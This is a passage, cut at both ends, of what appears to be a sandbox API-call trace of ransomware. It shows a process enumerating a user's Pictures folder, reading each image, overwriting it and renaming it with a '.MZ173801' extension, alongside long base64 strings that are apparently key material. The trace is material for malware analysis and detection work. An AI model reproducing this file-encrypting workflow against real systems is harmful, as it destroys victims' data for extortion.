HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\jNKEP2BOP3Vd KvJnfp.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jnkep2bop3vd kvjnfp.bmp.mz173801")) returned 1 [0122.953] GetCurrentThreadId () returned 0x9fc [0122.953] GetCurrentThreadId () returned 0x9fc [0122.954] GetCurrentThreadId () returned 0x9fc [0122.954] GetCurrentThreadId () returned 0x9fc [0122.954] GetCurrentThreadId () returned 0x9fc [0122.954] GetCurrentThreadId () returned 0x9fc [0122.954] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6067cda0, ftCreationTime.dwHighDateTime=0x1d5da1d, ftLastAccessTime.dwLowDateTime=0xa12f06c0, ftLastAccessTime.dwHighDateTime=0x1d5dc91, ftLastWriteTime.dwLowDateTime=0xa12f06c0, ftLastWriteTime.dwHighDateTime=0x1d5dc91, nFileSizeHigh=0x0, nFileSizeLow=0xf8a0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="JxyaUKX_jiXZ.jpg", cAlternateFileName="JXYAUK~1.JPG")) returned 1 [0122.954] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.954] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\JxyaUKX_jiXZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jxyaukx_jixz.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6067cda0, ftCreationTime.dwHighDateTime=0x1d5da1d, ftLastAccessTime.dwLowDateTime=0xa12f06c0, ftLastAccessTime.dwHighDateTime=0x1d5dc91, ftLastWriteTime.dwLowDateTime=0xa12f06c0, ftLastWriteTime.dwHighDateTime=0x1d5dc91, nFileSizeHigh=0x0, nFileSizeLow=0xf8a0)) returned 1 [0122.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.956] GetCurrentThreadId () returned 0x9fc [0122.956] GetCurrentThreadId () returned 0x9fc [0122.956] GetCurrentThreadId () returned 0x9fc [0122.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.957] GetCurrentThreadId () returned 0x9fc [0122.957] GetCurrentThreadId () returned 0x9fc [0122.957] GetCurrentThreadId () returned 0x9fc [0122.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\JxyaUKX_jiXZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jxyaukx_jixz.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.957] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.957] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.957] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xf8a0 [0122.957] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.957] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0xf8a0, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xf8a0, lpOverlapped=0x0) returned 1 [0122.959] CloseHandle (hObject=0x280) returned 1 [0122.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\JxyaUKX_jiXZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jxyaukx_jixz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.961] WriteFile (in: hFile=0x280, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xf8a0, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f6d0*=0xf8a0, lpOverlapped=0x0) returned 1 [0122.963] CloseHandle (hObject=0x280) returned 1 [0122.967] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\JxyaUKX_jiXZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jxyaukx_jixz.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\JxyaUKX_jiXZ.jpg.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jxyaukx_jixz.jpg.mz173801")) returned 1 [0122.967] GetCurrentThreadId () returned 0x9fc [0122.968] GetCurrentThreadId () returned 0x9fc [0122.968] GetCurrentThreadId () returned 0x9fc [0122.968] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4777ae80, ftCreationTime.dwHighDateTime=0x1d5e140, ftLastAccessTime.dwLowDateTime=0x50a7cd40, ftLastAccessTime.dwHighDateTime=0x1d5db3d, ftLastWriteTime.dwLowDateTime=0x50a7cd40, ftLastWriteTime.dwHighDateTime=0x1d5db3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="Mr3PQACS", cAlternateFileName="")) returned 1 [0122.968] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b078fc0, ftCreationTime.dwHighDateTime=0x1d5e1da, ftLastAccessTime.dwLowDateTime=0xa132d410, ftLastAccessTime.dwHighDateTime=0x1d5e4a4, ftLastWriteTime.dwLowDateTime=0xa132d410, ftLastWriteTime.dwHighDateTime=0x1d5e4a4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec5, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="SxW_.jpg", cAlternateFileName="")) returned 1 [0122.968] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.968] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.968] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\SxW_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\sxw_.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b078fc0, ftCreationTime.dwHighDateTime=0x1d5e1da, ftLastAccessTime.dwLowDateTime=0xa132d410, ftLastAccessTime.dwHighDateTime=0x1d5e4a4, ftLastWriteTime.dwLowDateTime=0xa132d410, ftLastWriteTime.dwHighDateTime=0x1d5e4a4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec5)) returned 1 [0122.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0M